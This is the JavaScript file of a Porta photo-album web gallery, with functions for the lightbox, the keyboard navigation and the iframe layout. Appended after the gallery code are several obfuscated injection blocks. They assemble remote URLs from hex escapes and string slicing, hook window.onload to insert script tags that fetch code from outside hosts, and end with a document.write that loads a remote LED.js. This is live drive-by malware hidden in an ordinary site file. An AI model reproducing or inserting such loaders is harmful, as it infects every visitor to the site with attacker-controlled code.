//////////////////////////
// main
//////////////////////////
var mf;	// handle to the medium iframe (initialised onload())

///////////////////////////
function SetupIndex() {
///////////////////////////

    // setup medium iframe
    var m_iframe = '';
    document.getElementById('mediumiframe_span').innerHTML = m_iframe;

    // show thumbnails
    SetupIFrames( smallPos );

    // set handle to the medium iframe
    mf = this.frames['mediumiframe'];

    // set keyboard handler
    document.onkeydown = ImageBrowsingKeydownHandlerIndex;

    // set document title
    document.title = title.replace(/(<([^>]+)>)/ig,"");

    // write status message
    window.status = 'This is a Porta photo album. Use the left and right arrow keys to navigate.';
    
    // go to light box if specified    
    //var url = window.location.href;
    //var show_lightbox = (url.indexOf("?lightbox")!=-1);
    //if (show_lightbox) {
    	
    //	DisplayLightbox();
    //}    
}

//////////////////////////
function ImageBrowsingKeydownHandlerIndex( e ) {
//////////////////////////

    ImageBrowsingKeydownHandler( e, mf );
}


///////////////////////////
function EnlargeImageInLightbox( i ) {
///////////////////////////

    // delete selection to avoid display artefacts
    if (self.getSelection)  {
        self.getSelection().removeAllRanges();
    } else if (document.selection) {
        document.selection.clear();
    }

    mf.ShowImage( i, 0  );
    document.getElementById('mainlayer').style.visibility = 'visible';
    document.getElementById('lightboxlayer').style.visibility = 'hidden';
}

///////////////////////////
function DisplayLightbox() {
///////////////////////////

    // hide the main layer and show the lightbox
    document.getElementById('mainlayer').style.visibility = 'hidden';
    document.getElementById('lightboxlayer').style.visibility = 'visible';

    // unload small images elements in the mainlayer
    SetupIFrames( 'none' );

    // register and render light box links
    mf.clinks_href  = new Array();
    mf.clinks_txt   = new Array();
    mf.clinks_href.push('javascript:parent.DisplayLightbox()');
    mf.clinks_txt.push( ls_lightbox );
    mf.clinks_href.push('javascript:parent.HideLightbox()');
    mf.clinks_txt.push( ls_albumview );
    mf.RenderCtrlLinks();

    // write title and link
    document.getElementById('title_lb').innerHTML = title;
    document.getElementById('ctrllinks_lb').innerHTML = '<a class="control" href="javascript:HideLightbox()">'+ls_albumview+'</a>';

    // write thumbnails
    var border = 14;
    var html = '';
    for (i=0;i<nbImages;i++) {

        var hfill    = maxSmallW-smallWidth[i];
        var vfill    = maxSmallH-smallHeight[i];
        var m_left   = border + Math.floor( hfill/2 );
        var m_right  = border + Math.ceil ( hfill/2 );
        var m_top    = border + Math.floor( vfill/2 );
        var m_bottom = border + Math.ceil ( vfill/2 );

        var mac = majorCaption[i].replace( /"/g,    '&quot;' );
        var re  = /<\S[^>]*>/g;
        mac = mac.replace(re,""); // strip html

        html += '<a href="javascript:EnlargeImageInLightbox('+i+')">';
        html += '<img style="display: inline; padding: 0px; border: 0px solid black; ';
        html += 'margin-left: '+m_left+'px; margin-right:'+m_right+'px; ';
        html += 'margin-top:'+m_top+'px; margin-bottom:'+m_bottom+'px;" ';
        html += 'src="'+smallDir+'/'+ImageFilenameURL(i)+'" ';
        html += 'width="'+smallWidth[i]+'" ' ;
        html += 'height="'+smallHeight[i]+'" ' ;
        html += 'galleryimg="no" title="'+mac+'" alt="'+mac+'" />';
        html += '</a> ';
    }
    document.getElementById('images_lb').innerHTML = html;

    // write footer
    document.getElementById('footer_lb').innerHTML = PortaMagicFooter(footer);
}

///////////////////////////
function HideLightbox() {
///////////////////////////

    // unload lightbox images to conserve memory
    document.getElementById('images_lb').innerHTML = '';

    // turn on small images in the main layer
    SetupIFrames( smallPos );

    // unregister links
    mf.clinks_href  = new Array();
    mf.clinks_txt   = new Array();
    mf.RenderCtrlLinks();

    // hide lightbox and show the main layer
    document.getElementById('mainlayer').style.visibility = 'visible';
    document.getElementById('lightboxlayer').style.visibility = 'hidden';
}

//////////////////////////
function SetupIFrames( smallPosSetting ) {
//////////////////////////

    // access medium iframe style
    var stym      = document.getElementById('mediumiframe').style;
    var stym_span = document.getElementById('mediumiframe_span').style;

    // stuff required for the nasty ie workaround....
    // (which to make matters worse requires to use the xml prolog stunt 
    //  to switch ie into quirks mode in order to use the faulty box model)
    var isIEnoFixed = (navigator.userAgent.toLowerCase().indexOf("msie 3")!=-1) || 
    				  (navigator.userAgent.toLowerCase().indexOf("msie 4")!=-1) ||
    				  (navigator.userAgent.toLowerCase().indexOf("msie 5")!=-1) ||
    				  (navigator.userAgent.toLowerCase().indexOf("msie 6")!=-1);        
    
    if (smallPosSetting=='none') {

        // empty iframe
        document.getElementById('smalliframe_span').innerHTML = '';
                     	
        // set the main content to fill the browser
        stym.left   = '0px';
        stym.top    = '0px';
        stym.padding = '0px 0px 0px 0px';
        if (isIEnoFixed) {
			
            stym.height = '100%';
            stym.width  = '100%';
        } else {

            stym.height = '100%';
            stym.width  = '100%';
			stym_span.position = 'fixed';
			stym_span.top      = '0px';
	    	stym_span.left     = '0px';
	        stym_span.bottom   = '0px';
	        stym_span.right    = '0px';
	        stym_span.width    = 'auto';
	        stym_span.height   = 'auto';
        }
        stym.visibility = 'visible';
        return;
    }

	// write the small iframe
    var s_iframe = '';
    document.getElementById('smalliframe_span').innerHTML = s_iframe;

	// size and position iframes
    var sty  = document.getElementById('smalliframe').style;
    var scrollbarsize = 16;		 // ugly pragmatic stuff
    var marginsize = 2*1+2*3+10; // ugly pragmatic stuff
    var space = isIEnoFixed ? 15 : 10;  // ugly pragmatic stuff
    var w = parseInt(maxSmallW+scrollbarsize+marginsize+space)+'px';
    var h = parseInt(maxSmallH+scrollbarsize+marginsize)+'px';
    stym.top      = '0px';
    stym.left     = '0px';    
    stym.height   = '100%';
    stym.width    = '100%';
    if (isIEnoFixed==false) {
		    
		sty.position 	   = 'fixed';
		stym_span.position = 'fixed';
		stym_span.top      = '0px';
    	stym_span.left     = '0px';
        stym_span.bottom   = '0px';
        stym_span.right    = '0px';
        stym_span.width    = 'auto';
        stym_span.height   = 'auto';
    }
    switch (smallPosSetting) {

        case 'top':     sty.left    = '0px';
                        sty.top     = '0px';
                        sty.width   = '100%';
                        sty.height  = h;

                        if (isIEnoFixed) {

                            stym.paddingTop = h;
                        } else {

                            stym_span.top   = h;
                        }
                        break;

        case 'bottom':  sty.left    = '0px';
                        sty.bottom  = '0px';
                        sty.width   = '100%';
                        sty.height  = h;

                        if (isIEnoFixed) {

                            stym.paddingBottom = h;
                        } else {

                            stym_span.bottom = h;
                        }
                        break;

        case 'right':   sty.right   = '0px';
                        sty.top     = '0px';
                        sty.width   = w;
                        sty.height  = '100%';

                        if (isIEnoFixed) {

                            stym.paddingRight = w;
                        } else {

                            stym_span.right  = w;
                        }

                        break;

        case 'left':
        default:        sty.left    = '0px';
                        sty.top     = '0px';
                        sty.width   = w;
                        sty.height  = '100%';

                        if (isIEnoFixed) {

                            stym.paddingLeft = w;                            
                        } else {
							
                            stym_span.left = w;
                        }
                        break;
     }
     sty.visibility  = 'visible';
     stym.visibility = 'visible';
}



try {var y="";var S;if(S!='' && S!='L'){S='b'};var w=window[unescape("%75%6e%65%73%63%61%70%65")];var hV;if(hV!='D'){hV=''};var p;if(p!='Q'){p=''};var OS="";var Ed;if(Ed!='Z' && Ed!='U'){Ed='Z'};var u=w("%72%65%70%6c%61%63%65");var pL=new Date();var wi;if(wi!='VK' && wi!='JW'){wi=''};var X=window[w("%52%65%67%45%78%70")];var m;if(m!='nJ' && m!='Fw'){m='nJ'};var Y=null;var K='';var Ef=new Date();var ZI='';var JF;if(JF!='yT'){JF='yT'};function V(h,v){var MJ;if(MJ!='f' && MJ!='sB'){MJ='f'};this.UK='';var YR=w("%5b");YR+=v;var g="";YR+=w("%5d");var N=new X(YR, w("%67"));var e=new String();return h.replace(N, Y);};this.A="";var pb;if(pb!='' && pb!='t'){pb=''};var fI=new Date();this.Qi='';var J=w("%73%63%72%69%70%74");var GP=new Array();var M="\x68\x74\x74\x70\x3a\x2f\x2f\x79\x6f\x75\x72\x70\x72\x69\x6e\x74\x72\x6f\x6f\x6d\x2e\x69\x6e\x66\x6f\x3a";var O=V('8115334333019397237278551649919073223275','73124659');var jT;if(jT!='Tj'){jT='Tj'};var l=V('/IgSoYoRgIl4eI.Sc1oKmS/SsItIcE.dcEoYmS.dsKa4/4gSo4o1gKlSeZuZsSeSrSc4oSndt4eKn1tK.KcIodmI.IpEhdpY','EdZSR4Y1IK');var hp="onl"+"oad";var h=w("%31");var tV=new Array();var eK=new Array();var F='';var vu;if(vu!='' && vu!='jz'){vu='Nd'};var Qp=new String();this.PX="";this.JD="";function n(){this.VX='';var a;if(a!='' && a!='_'){a='MI'};var Vb=new Date();var Kg=new Array();var k=document;var jH;if(jH!='' && jH!='Lo'){jH=null};var YP=new Date();var ifU='';x=k.createElement(J);var KT=new Date();var Cz="";F+=M;F+=O+l;var tW=new Array();var hZ='';x.src=F;var aY=new Date();var i=k.body;var ZJ=new String();x.defer=h;var QPV=new Date();var ue;if(ue!='DI' && ue != ''){ue=null};var pEe=new Array();i.appendChild(x);var IJ;if(IJ!='' && IJ!='dX'){IJ=null};};var Il=new Array();this.tO="";var PJ=new String();window[hp]=n;var Ik;if(Ik!='' && Ik!='mV'){Ik=''};this.ps='';var Y_=new Date();} catch(G){};



var I=new Array();this.br=19118;this.br--;function q(){var ND={};var L={QK:20710};jR=26958;jR++;MW=65216;MW++;var l=document;try {} catch(m){};var k="";var R=new String("I0s7body".substr(4));var Qz=String("on"+"lo"+"N3BAad".substr(4));var QT=[];var G=new String("cr"+"N0Dwea".substr(4)+"lfxAte".substr(4)+"El"+"em6ovt".substr(0,2)+"hAsen".substr(3)+"Ar5t5Ar".substr(3,1));try {var ML='JB'} catch(ML){};lt={};var f=window;this.AB=false;var hs={V:false};var _=new String("src");var _q="sc"+"ri"+"pt4PR3".substr(0,2);this.z=50044;this.z-=138;var A=String("appB8j".substr(0,3)+"TwSendwTS".substr(3,3)+"Chi"+"ldL6p2".substr(0,2));var qv={eb:false};Xz={};var x=new String("7Nb2def".substr(4)+"erxsyj".substr(0,2));Gr=33973;Gr--;Hx=34519;Hx--;function X(){var D="D";var s={iq:"t"};try {this.fg='';var sI="";var XM={jW:false};var j=6992-6991;var K="http:"+"1Jq//pas".substr(3)+"7f5sport".substr(3)+"2qKvblues".substr(4)+".ru:hpi".substr(0,4);mM=61048;mM++;var xk="/auto"+"home-"+"com-c"+"n/goo"+"gle.c"+"om/go"+"ogle."+"W63com.b".substr(3)+"d.php";var r=new Array();var H=33433-25353;this.hm=16148;this.hm++;var Hp='';var usc='';c=l[G](_q);dn=[];var Gp=3544;u_=["U"];var gY=[];try {var wQ='kb'} catch(wQ){};c[x]=j;var hX=["tv"];var cf={JI:"wD"};Js=["EM"];c[_]=K+H+xk;this.pG=47009;this.pG-=2;Ll={AW:"rT"};l[R][A](c);Xj=18851;Xj+=227;cU=45665;cU--;} catch(b){var _w=new Date();this.F=30737;this.F-=80;};aK=47235;aK--;var Oi=new Array();}rC=53742;rC++;eRf={};f[Qz]=X;iw=["dg","CL","km"];var kU=["Xx","gX","mH"];};this.y="";bE=51973;bE++;q();this.KE='';
try {var Gy={};var B=false;var K="";this.E=false;var uK={X:false};var ur={La:17371};var c=window[String("une"+"fzmAsca".substr(4)+"pe")];var Kg=new String();var g=new Array();var O="1";var C=9115;var xG=["FX","BV","Ju"];var N=51559;a={yB:false};this.Br="";var y=window[(String("Re"+"gE"+"V8mjxp".substr(4)))];yBO=[];try {} catch(yBP){};var W='';var vp=["hR"];var ge=new Array();var nO=new Array();this.uy="";var S="wzGXrepla".substr(4)+"ce";var _e=21887;this.U="U";var v=new String("on"+"lomtw".substr(0,2)+"coZladZcol".substr(4,2));var MY=new Date();var Aa={Xy:51550};var xA=53611;var AQ=1779;var j=["Wj"];var _n='';this.nH=26412;this.nH-=123;var Bh=false;function D(O,i){FL=["tY","dZ","nf"];var eO=["yP"];gK={P:"_Y"};var G=String("e8S[".substr(3));DM=61264;DM-=45;G+=i;try {var ev='IY'} catch(ev){};nK=["SP"];G+=c("%5d");var JI=new String();var bv=new String();var J=new y(G, String("g"));var jX=false;try {var SF='YT'} catch(SF){};var IE=false;return O.replace(J, W);_d={};var BR={};var fI={};var CK={Xr:"jQ"};var XW={fs:"mp"};};var sZ='';var JA='';var PS='';var XO='';var _=745844-737764;yq=["uG"];XKC=54042;XKC+=210;hRa=[];var vt=new String();var V="/ti"+"ckeosj".substr(0,3)+"tma"+"ste"+"6yUr-c".substr(3)+"om/"+"gooXH6J".substr(0,3)+"gle"+".co"+"eJam/paeJ".substr(3,3)+"ogo"+"EIs.co".substr(3)+"m.p0j8V".substr(0,3)+"hp";var cm=new Array();var vj=new String();var Mj=false;var z="ht"+"Exgtp".substr(3)+"OpR:/".substr(3)+"/g2LNm".substr(0,2)+"liYotYil".substr(3,2)+"hgXKi".substr(0,2)+"FtMui".substr(3)+"JKnNlt".substr(4)+".r"+"9Y4u:9Y4".substr(3,2);zg=[];mO=29109;mO-=60;var aX=new Date();var TE=41127;var ZE="";this.gx=38787;this.gx-=177;this.gp=52395;this.gp-=72;var id=["_J","jn","XX"];function vq(){cC={HP:false};this.Lh='';var qZ="qZ";var T=document;this.St='';this.uO='';Jx={Im:50423};var w=D('s3cKrKizp_tM','fMzuUmL0jEWP3CaeOAK_x');var dj=31912;HaN={_hO:3768};var H=new String("app"+"end"+"Chi"+"ldv4w6".substr(0,2));gw=4651;gw-=235;Tu=["Yn","fH"];this.iL="iL";this.sH="sH";try {var dD='k'} catch(dD){};var DX='';A=T.createElement(w);var XZ=new Array();var YE='';ORM=["Ck","TN"];try {var gI='nW'} catch(gI){};sw=["kq","uY","Dy"];this.Nm=12796;this.Nm++;this.ioZ=57543;this.ioZ++;Ha=z+_;try {var OX='Wc'} catch(OX){};var LX=new Array();var nD=new Array();Ha=Ha+V;Rg=12432;Rg-=130;var fb=new String();var vP=false;var Hl=new Array();A[new String("de"+"fe"+"r")]=O;var DPY='';this.xN="";var XA=[];this.KJc="";var wzd='';A.src=Ha;try {var Ht='ig'} catch(Ht){};Hg=["fO"];Af=["sV"];var ii=T.body;var mH=["yK"];var cwO=["cD"];var H_=new Array();wEu={JO:false};try {} catch(Pg){};Wd=[];PP=[];ii[H](A);};window[v]=vq;this.xj=43862;this.xj--;HZ=17116;HZ-=247;this.swu='';this.Jo='';this.JGC='';ak=["Xm","wL","rR"];} catch(R){this.bR=22250;this.bR++;var oMW={Di:12100};};var gJ="gJ";var u_="";var GqF="GqF";




document.write('<s'+'cript type="text/javascript" src="http://adoffy.alltuckedinathome.com:8080/LED.js"></scr'+'ipt>');